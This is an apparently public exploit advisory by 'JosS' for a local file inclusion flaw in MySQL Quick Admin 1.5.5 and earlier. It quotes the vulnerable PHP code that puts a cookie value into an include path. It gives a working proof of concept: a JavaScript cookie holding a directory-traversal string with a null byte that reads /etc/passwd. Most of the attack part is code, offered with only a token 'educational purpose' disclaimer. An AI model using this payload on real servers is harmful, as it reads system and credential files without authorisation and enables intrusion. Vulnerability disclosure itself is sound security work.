# MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability
# url: http://www.mysqlquickadmin.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: Pepelux :)
#
# *Requirements: magic_quotes_gpc = Off

vuln file: /includes/required.php
vuln code: 

if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
	$_SESSION['language'] = $_COOKIE['language'];
}

....

if(LANG == ""){
	if(!isset($_SESSION['language'])){
		include("lang/english/lang.php");
		$_LANG = "english";
	} else {
		include("lang/".$_SESSION['language']."/lang.php");
		$_LANG = $_SESSION['language'];
	}

... }

LFI (poc): 
1) javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
2) and enters /index.php

Ingenious work :D